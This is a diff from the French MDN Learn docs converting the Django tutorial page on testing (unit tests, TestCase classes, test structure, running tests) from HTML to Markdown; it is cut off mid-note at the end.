href="/fr/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> -</ul> +- [Django introduction](/fr/docs/Learn/Server-side/Django/Introduction) +- [Setting up a Django development environment](/fr/docs/Learn/Server-side/Django/development_environment) +- [Django Didactique: Site web "Bibliothèque locale"](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website) +- [Django didactique Section 2: Créer le squelette du site web](/fr/docs/Learn/Server-side/Django/skeleton_website) +- [Django didactique Section 3: Utilisation des modèles de données](/fr/docs/Learn/Server-side/Django/Models) +- [Django didactique Section 4 : Site d'administration de Django](/fr/docs/Learn/Server-side/Django/Admin_site) +- [Django didactique Section 5: Créer la page d'accuei](/fr/docs/Learn/Server-side/Django/Home_page) +- [Django Tutorial Part 6: Generic list and detail views](/fr/docs/Learn/Server-side/Django/Generic_views) +- [Django Tutorial Part 7: Sessions framework](/fr/docs/Learn/Server-side/Django/Sessions) +- [Django Tutorial Part 8: User authentication and permissions](/fr/docs/Learn/Server-side/Django/Authentication) +- [Django Tutorial Part 9: Working with forms](/fr/docs/Learn/Server-side/Django/Forms) +- [Django Tutorial Part 10: Testing a Django web application](/fr/docs/Learn/Server-side/Django/Testing) +- [Django Tutorial Part 11: Deploying Django to production](/fr/docs/Learn/Server-side/Django/Deployment) +- [Django web application security](/fr/docs/Learn/Server-side/Django/web_application_security) +- [DIY Django mini blog](/fr/docs/Learn/Server-side/Django/django_assessment_blog) diff --git a/files/fr/learn/server-side/django/testing/index.md b/files/fr/learn/server-side/django/testing/index.md index c61cb87e24..73e2507976 100644 --- a/files/fr/learn/server-side/django/testing/index.md +++ b/files/fr/learn/server-side/django/testing/index.md @@ -13,61 +13,64 @@ tags: - unit tests translation_of: Learn/Server-side/Django/Testing --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}} -<div>{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}}</div> - -<p>Quant un site web grandit, il devient plus difficile à tester manuellement. Non seulement il y a plus de choses à tester, mais encore, comme les interactions entres ses composants deviennent plus complexes, un léger changement dans une partie de l'application peut affecter les autres parties, si bien qu'il va être nécessaire de faire beaucoup de modifications pour s'assurer que tout continue de fonctionner, et qu'aucune erreur ne sera introduite quand il y aura encore plus de modifications. Une façon de limiter ces problèmes est d'écrire des tests automatiques qui puissent être lancés d'une manière simple et fiable à chaque fois que vous faites une modification. Ce tutoriel montre comment automatiser des <em>tests unitaires</em> sur votre site web en utilisant le framework de tests de Django.</p> +Quant un site web grandit, il devient plus difficile à tester manuellement. Non seulement il y a plus de choses à tester, mais encore, comme les interactions entres ses composants deviennent plus complexes, un léger changement dans une partie de l'application peut affecter les autres parties, si bien qu'il va être nécessaire de faire beaucoup de modifications pour s'assurer que tout continue de fonctionner, et qu'aucune erreur ne sera introduite quand il y aura encore plus de modifications. Une façon de limiter ces problèmes est d'écrire des tests automatiques qui puissent être lancés d'une manière simple et fiable à chaque fois que vous faites une modification. Ce tutoriel montre comment automatiser des _tests unitaires_ sur votre site web en utilisant le framework de tests de Django. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Avoir terminé tous les tutoriels précédents, y compris <a href="/fr/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a>.</td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Comprendre comment écrire des tests unitaires pour des sites web basés sur Django.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Avoir terminé tous les tutoriels précédents, y compris + <a href="/fr/docs/Learn/Server-side/Django/Forms" + >Django Tutorial Part 9: Working with forms</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Comprendre comment écrire des tests unitaires pour des sites web basés + sur Django. + </td> + </tr> + </tbody> </table> -<h2 id="Vue_densemble">Vue d'ensemble</h2> +## Vue d'ensemble -<p>Le site <a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">Local Library</a> a actuellement des pages pour afficher des listes de tous les livres et auteurs, des pages de détail pour les éléments de type <code>Book</code> et <code>Author</code>, une page pour renouveler des <code>BookInstance</code>s, et des pages pour créer, mettre à jour et effacer des éléments de type <code>Author</code> (et également des enregistrements de type <code>Book</code>, si vous avez relevé le <em>défi</em> dans le <a href="/fr/docs/Learn/Server-side/Django/Forms">tutoriel sur les formulaires</a>). Même avec ce site relativement petit, naviguer manuellement vers chaque page et vérifier <em>superficiellement</em> que tout fonctionne comme prévu peut prendre plusieurs minutes. Quand nous allons faire des modifications et agrandir le site, le temps requis pour vérifier manuellement que tout fonctionne "proprement" va grandir. Si nous continuons comme cela, nous allons sûrement passer beaucoup de temps à tester notre code, et peu à l'améliorer.</p> +Le site [Local Library](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website) a actuellement des pages pour afficher des listes de tous les livres et auteurs, des pages de détail pour les éléments de type `Book` et `Author`, une page pour renouveler des `BookInstance`s, et des pages pour créer, mettre à jour et effacer des éléments de type `Author` (et également des enregistrements de type `Book`, si vous avez relevé le _défi_ dans le [tutoriel sur les formulaires](/fr/docs/Learn/Server-side/Django/Forms)). Même avec ce site relativement petit, naviguer manuellement vers chaque page et vérifier _superficiellement_ que tout fonctionne comme prévu peut prendre plusieurs minutes. Quand nous allons faire des modifications et agrandir le site, le temps requis pour vérifier manuellement que tout fonctionne "proprement" va grandir. Si nous continuons comme cela, nous allons sûrement passer beaucoup de temps à tester notre code, et peu à l'améliorer. -<p>Les tests automatiques peuvent vraiment nous aider à régler ce problème. Les avantages évidents sont qu'ils peuvent être lancés bien rapidement que des tests manuels, peuvent réaliser des tests à un niveau bien plus bas de détail, et tester exactement les mêmes fonctionnalités à chaque fois (des testeurs humains sont loin d'être aussi fiables !). Parce qu'ils sont rapides, les tests automatisés peuvent être exécutés plus régulièrement, et si un test échoue, ils pointent exactement vers la partie du code qui n'a pas fonctionné comme prévu.</p> +Les tests automatiques peuvent vraiment nous aider à régler ce problème. Les avantages évidents sont qu'ils peuvent être lancés bien rapidement que des tests manuels, peuvent réaliser des tests à un niveau bien plus bas de détail, et tester exactement les mêmes fonctionnalités à chaque fois (des testeurs humains sont loin d'être aussi fiables !). Parce qu'ils sont rapides, les tests automatisés peuvent être exécutés plus régulièrement, et si un test échoue, ils pointent exactement vers la partie du code qui n'a pas fonctionné comme prévu. -<p>De plus, les tests automatisés peuvent se comporter comme le premier "utilisateur" de votre code dans le monde réel, vous obligeant à être rigoureux quand vous définissez et documentez la manière dont votre site doit se comporter. Souvent ils constituent une base pour vos exemples et votre documentation. Pour ces raisons, il existe des processus de développement de logiciels qui commencent par la définition et l'implémentation de tests, et ce n'est qu'après que le code est écrit pour atteindre le comportement attendu (par ex. le développement <a href="https://en.wikipedia.org/wiki/Test-driven_development">test-driven</a> et le développement <a href="https://en.wikipedia.org/wiki/Behavior-driven_development">behaviour-driven</a>).</p> +De plus, les tests automatisés peuvent se comporter comme le premier "utilisateur" de votre code dans le monde réel, vous obligeant à être rigoureux quand vous définissez et documentez la manière dont votre site doit se comporter. Souvent ils constituent une base pour vos exemples et votre documentation. Pour ces raisons, il existe des processus de développement de logiciels qui commencent par la définition et l'implémentation de tests, et ce n'est qu'après que le code est écrit pour atteindre le comportement attendu (par ex. le développement [test-driven](https://en.wikipedia.org/wiki/Test-driven_development) et le développement [behaviour-driven](https://en.wikipedia.org/wiki/Behavior-driven_development)). -<p>Ce tutoriel montre comment écrire des tests automatisés pour Django, en ajoutant un certain nombre de tests au site web <em>LocalLibrary</em>.</p> +Ce tutoriel montre comment écrire des tests automatisés pour Django, en ajoutant un certain nombre de tests au site web _LocalLibrary_. -<h3 id="Catégories_de_tests">Catégories de tests</h3> +### Catégories de tests -<p>Il y a beaucoup de genres, de niveaux et de classifications de tests, ainsi que de manières de tester. Les tests automatisés les plus importants sont:</p> +Il y a beaucoup de genres, de niveaux et de classifications de tests, ainsi que de manières de tester. Les tests automatisés les plus importants sont: -<dl> - <dt>Les tests unitaires</dt> - <dd>Ils vérifient le comportement fonctionnel de composants individuels, souvent au niveau des classes et des fonctions.</dd> - <dt>Les tests de régression</dt> - <dd>Ce sont des tests qui reproduisent des bugs historiques. Chaque test a été lancé originellement pour vérifier que le bug a été résolu, et on le relance ensuite pour s'assurer qu'il n'a pas été ré-introduit suite aux changements de code.</dd> - <dt>Les test d'intégration</dt> - <dd>Ils vérifient comment les groupes de composants fonctionnent quand ils sont utilisés ensemble. Les tests d'intégraion sont attentifs aux interactions souhaitées entre composants, mais pas nécessairement aux opérations internes de chaque composant. Ils peuvent couvrir des groupes simples de composants à travers tout le site.</dd> -</dl> +- Les tests unitaires + - : Ils vérifient le comportement fonctionnel de composants individuels, souvent au niveau des classes et des fonctions. +- Les tests de régression + - : Ce sont des tests qui reproduisent des bugs historiques. Chaque test a été lancé originellement pour vérifier que le bug a été résolu, et on le relance ensuite pour s'assurer qu'il n'a pas été ré-introduit suite aux changements de code. +- Les test d'intégration + - : Ils vérifient comment les groupes de composants fonctionnent quand ils sont utilisés ensemble. Les tests d'intégraion sont attentifs aux interactions souhaitées entre composants, mais pas nécessairement aux opérations internes de chaque composant. Ils peuvent couvrir des groupes simples de composants à travers tout le site. -<div class="note"> -<p><strong>Note :</strong> Les autres genres habituels de tests comprennent : la boîte noire, la boîte blanche, les tests manuels, automatiques, de canari (canary), de fumée (smoke), de conformité (conformance), d'approbation (acceptance), fonctionnels, système, performance, chargement et stress. Consultez pour plus d'information sur chacun d'eux.</p> -</div> +> **Note :** Les autres genres habituels de tests comprennent : la boîte noire, la boîte blanche, les tests manuels, automatiques, de canari (canary), de fumée (smoke), de conformité (conformance), d'approbation (acceptance), fonctionnels, système, performance, chargement et stress. Consultez pour plus d'information sur chacun d'eux. -<h3 id="Que_fournit_Django_pour_tester">Que fournit Django pour tester ?</h3> +### Que fournit Django pour tester ? -<p>Tester un site web est une tâche complexe, car c'est une opération qui comporte plusieurs couches de logique : depuis la couche HTTP, la gestion des requêtes, les modèles d'interrogation de bases de données, jusqu'à la validation des formulaires, leur traitement et le rendu des templates.</p> +Tester un site web est une tâche complexe, car c'est une opération qui comporte plusieurs couches de logique : depuis la couche HTTP, la gestion des requêtes, les modèles d'interrogation de bases de données, jusqu'à la validation des formulaires, leur traitement et le rendu des templates. -<p>Django fournit un framework de test avec une petite hiérarchie de classes construites sur la librairie standard de Python <code><a href="https://docs.python.org/3/library/unittest.html#module-unittest" title="(in Python v3.5)">unittest</a></code>. Malgré son nom, ce framework de test est utilisable pour les tests unitaires aussi bien que pour les tests d'intégration. Le framework Django ajoute les méthodes et les outils d'une API pour aider à tester un site web et les comportements spécifiques à Django. Ces méthodes vous permettent de simuler des requêtes, d'insérer des données de test et d'inspecter la sortie de votre application. Django fournit aussi une API (<a href="https://docs.djangoproject.com/en/2.1/topics/testing/tools/#liveservertestcase">LiveServerTestCase</a>) et des outils pour <a href="https://docs.djangoproject.com/en/2.1/topics/testing/advanced/#other-testing-frameworks">utiliser d'autres frameworks de test</a>. Par exemple vous pouvez intégrer le célèbre framework <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Selenium</a> pour simuler l'interaction entre un utilisateur et un vrai navigateur.</p> +Django fournit un framework de test avec une petite hiérarchie de classes construites sur la librairie standard de Python [`unittest`](https://docs.python.org/3/library/unittest.html#module-unittest "(in Python v3.5)"). Malgré son nom, ce framework de test est utilisable pour les tests unitaires aussi bien que pour les tests d'intégration. Le framework Django ajoute les méthodes et les outils d'une API pour aider à tester un site web et les comportements spécifiques à Django. Ces méthodes vous permettent de simuler des requêtes, d'insérer des données de test et d'inspecter la sortie de votre application. Django fournit aussi une API ([LiveServerTestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#liveservertestcase)) et des outils pour [utiliser d'autres frameworks de test](https://docs.djangoproject.com/en/2.1/topics/testing/advanced/#other-testing-frameworks). Par exemple vous pouvez intégrer le célèbre framework [Selenium](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment) pour simuler l'interaction entre un utilisateur et un vrai navigateur. -<p>Pour écrire un test, vous partez de l'une des classes de test de base fournies par Django (ou par <em>unittest</em>) (<a href="https://docs.djangoproject.com/en/2.1/topics/testing/tools/#simpletestcase">SimpleTestCase</a>, <a href="https://docs.djangoproject.com/en/2.1/topics/testing/tools/#transactiontestcase">TransactionTestCase</a>, <a href="https://docs.djangoproject.com/en/2.1/topics/testing/tools/#testcase">TestCase</a>, <a href="https://docs.djangoproject.com/en/2.1/topics/testing/tools/#liveservertestcase">LiveServerTestCase</a>), et ensuite vous écrivez des méthodes séparées pour vérifier que telle fonctionnalité se comporte comme prévu (les tests utilisent des méthodes "assert" pour vérifier qu'une expression retourne <code>True</code> ou <code>False</code>, ou que deux valeurs sont égales, etc.). Quant vous commencez à lancer un test, le framework exécute les méthodes de test écrites dans vos classes dérivées. Les méthodes de test sont lancées de manière indépendante, avec en commun un réglage initial (<em>setUp</em>) et/ou un comportement de fin (<em>tearDown</em>) définis dans la classe, comme indiqué ci-dessous.</p> +Pour écrire un test, vous partez de l'une des classes de test de base fournies par Django (ou par _unittest_) ([SimpleTestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#simpletestcase), [TransactionTestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#transactiontestcase), [TestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#testcase), [LiveServerTestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#liveservertestcase)), et ensuite vous écrivez des méthodes séparées pour vérifier que telle fonctionnalité se comporte comme prévu (les tests utilisent des méthodes "assert" pour vérifier qu'une expression retourne `True` ou `False`, ou que deux valeurs sont égales, etc.). Quant vous commencez à lancer un test, le framework exécute les méthodes de test écrites dans vos classes dérivées. Les méthodes de test sont lancées de manière indépendante, avec en commun un réglage initial (_setUp_) et/ou un comportement de fin (_tearDown_) définis dans la classe, comme indiqué ci-dessous. -<pre class="brush: python">class YourTestClass(TestCase): +```python +class YourTestClass(TestCase): def setUp(self): # Setup run before every test method. pass @@ -81,23 +84,22 @@ translation_of: Learn/Server-side/Django/Testing def test_something_that_will_fail(self): self.assertTrue(False) -</pre> +``` -<p>La meilleure classe de base pour la plupart des tests est <a href="https://docs.djangoproject.com/en/2.1/topics/testing/tools/#testcase">django.test.TestCase</a>. Cette classe de test crée une base de données vide avant que ses tests ne soient lancés, et lance toutes les fonctions de test dans sa propre transaction. La classe possède aussi un <a href="https://docs.djangoproject.com/en/2.1/topics/testing/tools/#django.test.Client" title="django.test.Client">Client</a> de test, que vous pouvez utiliser pour simuler l'interaction entre un utilisateur et le code au niveau de la vue. Dans les sections suivantes, nous allons nous concentrer sur les tests unitaires, créés en utilisant la classe de base <a href="https://docs.djangoproject.com/en/2.1/topics/testing/tools/#testcase">TestCase</a>.</p> +La meilleure classe de base pour la plupart des tests est [django.test.TestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#testcase). Cette classe de test crée une base de données vide avant que ses tests ne soient lancés, et lance toutes les fonctions de test dans sa propre transaction. La classe possède aussi un [Client](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#django.test.Client "django.test.Client") de test, que vous pouvez utiliser pour simuler l'interaction entre un utilisateur et le code au niveau de la vue. Dans les sections suivantes, nous allons nous concentrer sur les tests unitaires, créés en utilisant la classe de base [TestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#testcase). -<div class="note"> -<p><strong>Note :</strong> La classe <a href="https://docs.djangoproject.com/en/2.1/topics/testing/tools/#testcase">django.test.TestCase</a> est très commode, mais peut avoir pour effet de ralentir certains tests plus que nécessaire (tous les tests n'ont pas besoin de créer leur propre base de données ni de simuler une interaction au niveau de la vue). Une fois que vous serez familiarisé avec ce que vous pouvez faire avec cette classe, vous voudrez sans doute remplacer certains de vos tests avec d'autres classes plus simples parmi celles qui sont disponibles.</p> -</div> +> **Note :** La classe [django.test.TestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#testcase) est très commode, mais peut avoir pour effet de ralentir certains tests plus que nécessaire (tous les tests n'ont pas besoin de créer leur propre base de données ni de simuler une interaction au niveau de la vue). Une fois que vous serez familiarisé avec ce que vous pouvez faire avec cette classe, vous voudrez sans doute remplacer certains de vos tests avec d'autres classes plus simples parmi celles qui sont disponibles. -<h3 id="Que_faut-il_tester">Que faut-il tester ?</h3> +### Que faut-il tester ? -<p>Vous pouvez tester tous les aspects de votre code, mais non les librairies ou fonctionnalités faisant partie de Python ou de Django.</p> +Vous pouvez tester tous les aspects de votre code, mais non les librairies ou fonctionnalités faisant partie de Python ou de Django. -<p>Ainsi par exemple, considérez le modèle <code>Author</code> défini ci-dessous. Vous n'avez pas besoin de tester explicitement que <code>first_name</code> et <code>last_name</code> ont été stockés correctement comme <code>CharField</code> dans la base de données, car c'est là quelque chose de défini par Django (cependant, bien sûr, vous allez inévitablement tester cette fonctionnalité pendant le développement). Vous n'avez pas non plus besoin de tester que <code>date_of_birth</code> a été validé comme champ date, car, encore une fois, cela est implémenté par Django.</p> +Ainsi par exemple, considérez le modèle `Author` défini ci-dessous. Vous n'avez pas besoin de tester explicitement que `first_name` et `last_name` ont été stockés correctement comme `CharField` dans la base de données, car c'est là quelque chose de défini par Django (cependant, bien sûr, vous allez inévitablement tester cette fonctionnalité pendant le développement). Vous n'avez pas non plus besoin de tester que `date_of_birth` a été validé comme champ date, car, encore une fois, cela est implémenté par Django. -<p>En revanche, vous pouvez tester que les textes utilisés pour les labels (<em>First name, Last name, Date of birth, Died</em>), ainsi que le respect de la taille allouée au champ texte (100 caractères), car c'est là une partie de votre propre design et quelque chose qui pourrait être cassé/modifié dans le futur.</p> +En revanche, vous pouvez tester que les textes utilisés pour les labels (_First name, Last name, Date of birth, Died_), ainsi que le respect de la taille allouée au champ texte (100 caractères), car c'est là une partie de votre propre design et quelque chose qui pourrait être cassé/modifié dans le futur. -<pre class="brush: python">class Author(models.Model): +```python +class Author(models.Model): first_name = models.CharField(max_length=100) last_name = models.CharField(max_length=100) date_of_birth = models.DateField(null=True, blank=True) @@ -107,52 +109,50 @@ translation_of: Learn/Server-side/Django/Testing return reverse('author-detail', args=[str(self.id)]) def __str__(self): - return '%s, %s' % (self.last_name, self.first_name)</pre> - -<p>De même, vous pouvez tester que les méthodes personnalisées <code>get_absolute_url()</code> et <code>__str__()</code> se comportent comme prévu, car elles appartiennent à votre logique code/métier. Dans le cas de <code>get_absolute_url()</code>, vous pouvez supposer que la méthode Django <code>reverse()</code> a été implémentée correctement, aussi ce que vous allez tester, c'est que la vue associée a été effectivement définie.</p> + return '%s, %s' % (self.last_name, self.first_name) +``` -<div class="note"> -<p><strong>Note :</strong> Les lecteurs attentifs auront noté que nous pourrions aussi vouloir limiter les dates de naissance et de décès à des valeurs sensibles, et vérifier que le décès intervient après la naissance. En Django, cette contrainte est ajoutée à vos classes de formulaires (bien que vous puissiez définir des validateurs pour les champs du modèle et des validateurs de modèles, ceux-ci ne sont utilisés qu'au niveau du formulaire s'ils sont appelés par la méthode clean() du modèle. Cela requière un ModelForm ou bien la méthode clean() du modèle a besoin d'être appelée explicitement.)</p> -</div> +De même, vous pouvez tester que les méthodes personnalisées `get_absolute_url()` et `__str__()` se comportent comme prévu, car elles appartiennent à votre logique code/métier. Dans le cas de `get_absolute_url()`, vous pouvez supposer que la méthode Django `reverse()` a été implémentée correctement, aussi ce que vous allez tester, c'est que la vue associée a été effectivement définie. -<p>Avec cela en tête, commençons à voir comment définir et lancer des tests.</p> +> **Note :** Les lecteurs attentifs auront noté que nous pourrions aussi vouloir limiter les dates de naissance et de décès à des valeurs sensibles, et vérifier que le décès intervient après la naissance. En Django, cette contrainte est ajoutée à vos classes de formulaires (bien que vous puissiez définir des validateurs pour les champs du modèle et des validateurs de modèles, ceux-ci ne sont utilisés qu'au niveau du formulaire s'ils sont appelés par la méthode clean() du modèle. Cela requière un ModelForm ou bien la méthode clean() du modèle a besoin d'être appelée explicitement.) -<h2 id="Vue_densemble_de_la_structure_de_test">Vue d'ensemble de la structure de test</h2> +Avec cela en tête, commençons à voir comment définir et lancer des tests. -<p>Avant d'entrer dans le détail de "que tester", voyons d'abord brièvement <em>où</em> et <em>comment</em> les tests sont définis.</p> +## Vue d'ensemble de la structure de test -<p>Django utilise le <a href="https://docs.python.org/3/library/unittest.html#unittest-test-discovery" title="(in Python v3.5)">built-in test discovery</a> du module unittest, qui va chercher des tests, sous le répertoire de travail actuel, dans tous les fichiers dont le nom contient le pattern<strong> test*.py</strong>. Du moment que vous nommez vos fichiers de manière appropriée, vous pouvez utiliser n'importe quelle structure. Nous vous recommandons de créer un module pour coder vos tests, et d'avoir des fichiers distincts pour les modèles, les vues, les formulaires et tout autre type de code que vous avez besoin de tester. Par exemple :</p> +Avant d'entrer dans le détail de "que tester", voyons d'abord brièvement _où_ et _comment_ les tests sont définis. -<pre>catalog/ - /tests/ - __init__.py - test_models.py - test_forms.py - test_views.py -</pre> +Django utilise le [built-in test discovery](https://docs.python.org/3/library/unittest.html#unittest-test-discovery "(in Python v3.5)") du module unittest, qui va chercher des tests, sous le répertoire de travail actuel, dans tous les fichiers dont le nom contient le pattern **test\*.py**. Du moment que vous nommez vos fichiers de manière appropriée, vous pouvez utiliser n'importe quelle structure. Nous vous recommandons de créer un module pour coder vos tests, et d'avoir des fichiers distincts pour les modèles, les vues, les formulaires et tout autre type de code que vous avez besoin de tester. Par exemple : -<p>Créez une structure de fichier comme montré ci-dessus, dans votre projet <em>LocalLibrary</em>. Le ficheir<strong> __init__.py</strong> doit être vide (il dit simplement à Python que ce répertoire est un package). Vous pouvez créer les trois fichiers de test en copiant et renommant le fichier de test du squelette <strong>/catalog/tests.py</strong>.</p> + catalog/ + /tests/ + __init__.py + test_models.py + test_forms.py + test_views.py -<div class="note"> -<p><strong>Note :</strong> le fichier de test du squelette <strong>/catalog/tests.py</strong> a été créé automatiquement quand nous avons <a href="/fr/docs/Learn/Server-side/Django/skeleton_website">construit le squelette du site web Django</a>. Il est parfaitement "légal" de mettre tous vos tests dedans, mais si vous testez correctement, vous allez rapidement vous retrouver avec un fichier de test énorme et impossible à gérer.</p> +Créez une structure de fichier comme montré ci-dessus, dans votre projet _LocalLibrary_. Le ficheir **\_\_init\_\_.py** doit être vide (il dit simplement à Python que ce répertoire est un package). Vous pouvez créer les trois fichiers de test en copiant et renommant le fichier de test du squelette **/catalog/tests.py**. -<p>Supprimez le fichier de squelette, car nous n'en aurons plus besoin.</p> -</div> +> **Note :** le fichier de test du squelette **/catalog/tests.py** a été créé automatiquement quand nous avons [construit le squelette du site web Django](/fr/docs/Learn/Server-side/Django/skeleton_website). Il est parfaitement "légal" de mettre tous vos tests dedans, mais si vous testez correctement, vous allez rapidement vous retrouver avec un fichier de test énorme et impossible à gérer. +> +> Supprimez le fichier de squelette, car nous n'en aurons plus besoin. -<p>Ouvrez le fichier <strong>/catalog/tests/test_models.py</strong>. Ce fichier doit importer <code>django.test.TestCase</code>, comme indiqué ci-après :</p> +Ouvrez le fichier **/catalog/tests/test_models.py**. Ce fichier doit importer `django.test.TestCase`, comme indiqué ci-après : -<p>Open <strong>/catalog/tests/test_models.py</strong>. The file should import <code>django.test.TestCase</code>, as shown:</p> +Open **/catalog/tests/test_models.py**. The file should import `django.test.TestCase`, as shown: -<pre class="brush: python">from django.test import TestCase +```python +from django.test import TestCase # Create your tests here. -</pre> +``` -<p>Souvent vous voudrez ajouter une classe de test pour chaque modèle/vue/form que vous voulez tester, avec des méthodes individuelles pour tester une fonctionnalité spécifique. Dans d'autres cas vous pourriez souhaiter avoir une class séparée pour tester un cas d'utilisation spécifique, avec des fonctions de test individuelles pour tester les aspects de ce cas d'utilisation (par exemple, une classe pour tester que tel champ d'un modèle est validé correctement, avec des fonctions pour tester chaque possibilité d'échec). Encore une fois, c'est à vous de décider de la structure à adopter, mais elle sera meilleure si vous êtes cohérent.</p> +Souvent vous voudrez ajouter une classe de test pour chaque modèle/vue/form que vous voulez tester, avec des méthodes individuelles pour tester une fonctionnalité spécifique. Dans d'autres cas vous pourriez souhaiter avoir une class séparée pour tester un cas d'utilisation spécifique, avec des fonctions de test individuelles pour tester les aspects de ce cas d'utilisation (par exemple, une classe pour tester que tel champ d'un modèle est validé correctement, avec des fonctions pour tester chaque possibilité d'échec). Encore une fois, c'est à vous de décider de la structure à adopter, mais elle sera meilleure si vous êtes cohérent. -<p>Ajoutez la classe de test ci-dessous à la fin du fichier. La classe montre comment construire une classe de test de cas dérivant de <code>TestCase</code>.</p> +Ajoutez la classe de test ci-dessous à la fin du fichier. La classe montre comment construire une classe de test de cas dérivant de `TestCase`. -<pre class="brush: python">class YourTestClass(TestCase): +```python +class YourTestClass(TestCase): @classmethod def setUpTestData(cls): print("setUpTestData: Run once to set up non-modified data for all class methods.") @@ -172,54 +172,51 @@ translation_of: Learn/Server-side/Django/Testing def test_one_plus_one_equals_two(self): print("Method: test_one_plus_one_equals_two.") - self.assertEqual(1 + 1, 2)</pre> - -<p>La nouvelle classe définit deux méthodes que vous pouvez utiliser pour une configuration pré-test (par exemple, pour créer des modèles ou d'autres objets dont vous aurez besoin pour les tests) :</p> + self.assertEqual(1 + 1, 2) +``` -<ul> - <li><code>setUpTestData()</code> est appelée une fois au début du lancement des tests pour un réglage au niveau de la classe. Vous pouvez l'utiliser pour créer des objets qui ne sont pas destinés à être modifiés ou changés dans les méthodes de test.</li> - <li><code>setUp()</code> est appelée avant chaque fonction de test pour définir des objets qui peuvent être modifiés par le test (chaque fonction de test obtiendra une version "fraîche" de ces objets).</li> -</ul> +La nouvelle classe définit deux méthodes que vous pouvez utiliser pour une configuration pré-test (par exemple, pour créer des modèles ou d'autres objets dont vous aurez besoin pour les tests) : -<div class="note"> -<p><strong>Note :</strong> Les classes de test ont aussi une méthode <code>tearDown()</code>, que nous n'avons pas utilisée. Cette méthode n'est pas particulièrement utile pour les tests avec bases de données, dans la mesure où la classe de base <code>TestCase</code> prend soin pour vous de supprimer la base de données utilisées pour les tests.</p> -</div> +- `setUpTestData()` est appelée une fois au début du lancement des tests pour un réglage au niveau de la classe. Vous pouvez l'utiliser pour créer des objets qui ne sont pas destinés à être modifiés ou changés dans les méthodes de test. +- `setUp()` est appelée avant chaque fonction de test pour définir des objets qui peuvent être modifiés par le test (chaque fonction de test obtiendra une version "fraîche" de ces objets). -<p>En dessous de ces méthodes, nous avons un certain nombre de méthodes de test, qui utilisent des fonctions <code>Assert</code>, pour tester si certaines conditions sont vraies, fausses ou égales (<code>AssertTrue</code>, <code>AssertFalse</code>, <code>AssertEqual</code>). Si la condition ne renvoie pas le résultat escompté, le test plante et renvoie une erreur à votre console.</p> +> **Note :** Les classes de test ont aussi une méthode `tearDown()`, que nous n'avons pas utilisée. Cette méthode n'est pas particulièrement utile pour les tests avec bases de données, dans la mesure où la classe de base `TestCase` prend soin pour vous de supprimer la base de données utilisées pour les tests. -<p>Les méthodes <code>AssertTrue</code>, <code>AssertFalse</code> et <code>AssertEqual</code> sont des assertions standard fournies par <strong>unittest</strong>. Il y a d'autres assertions standard dans le framework, et aussi des <a href="https://docs.djangoproject.com/en/2.1/topics/testing/tools/#assertions">assertions spécifiques à Django</a>, pour tester si une vue redirige (<code>assertRedirects</code>), pour tester si tel template a été utilisé (<code>assertTemplateUsed</code>), etc.</p> +En dessous de ces méthodes, nous avons un certain nombre de méthodes de test, qui utilisent des fonctions `Assert`, pour tester si certaines conditions sont vraies, fausses ou égales (`AssertTrue`, `AssertFalse`, `AssertEqual`). Si la condition ne renvoie pas le résultat escompté, le test plante et renvoie une erreur à votre console. -<div class="note"> -<p><strong>Note :</strong> Normallement vous ne devriez <strong>pas</strong> inclure de fonctions <strong>print()</strong> dans vos tests, comme montré ci-dessus. Nous avons fait cela uniquement pour que vous puissiez voir dans la console (dans la section suivante) l'ordre dans lequel les fonctions de setup sont appelées.</p> -</div> +Les méthodes `AssertTrue`, `AssertFalse` et `AssertEqual` sont des assertions standard fournies par **unittest**. Il y a d'autres assertions standard dans le framework, et aussi des [assertions spécifiques à Django](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#assertions), pour tester si une vue redirige (`assertRedirects`), pour tester si tel template a été utilisé (`assertTemplateUsed`), etc. -<h2 id="Comment_lancer_les_tests">Comment lancer les tests</h2> +> **Note :** Normallement vous ne devriez **pas** inclure de fonctions **print()** dans vos tests, comme montré ci-dessus. Nous avons fait cela uniquement pour que vous puissiez voir dans la console (dans la section suivante) l'ordre dans lequel les fonctions de setup sont appelées. -<p>La manière la plus facile pour lancer tous les tests est d'utiliser la commande :</p> +## Comment lancer les tests -<pre class="brush: bash">python3 manage.py test</pre> +La manière la plus facile pour lancer tous les tests est d'utiliser la commande : -<p>Cette commande va lancer la recherche de tous les fichiers ayant la forme <strong>test*.py</strong> sous le répertoire courant, et lancer tous les tests définis, en utilisant les classes de base appropriées (ici nous avons un certain nombre de fichiers de test, mais pour le moment seul <strong>/catalog/tests/test_models.py</strong> contient des tests). Par défaut, chaque test ne fera de rapport qu'en cas d'échec, avec ensuite un résumé du test.</p> +```bash +python3 manage.py test +``` -<div class="note"> -<p><strong>Note :</strong> Si vous obtenez des erreurs telles que : <code>ValueError: Missing staticfiles manifest entry ...</code>, cela peut être dû au fait que le test ne lance pas <em>collectstatic</em> par défaut, et que votre application utilise une classe de storage qui le requiert (voyez <a href="https://docs.djangoproject.com/en/2.1/ref/contrib/staticfiles/#django.contrib.staticfiles.storage.ManifestStaticFilesStorage.manifest_strict">manifest_strict</a> pour plus 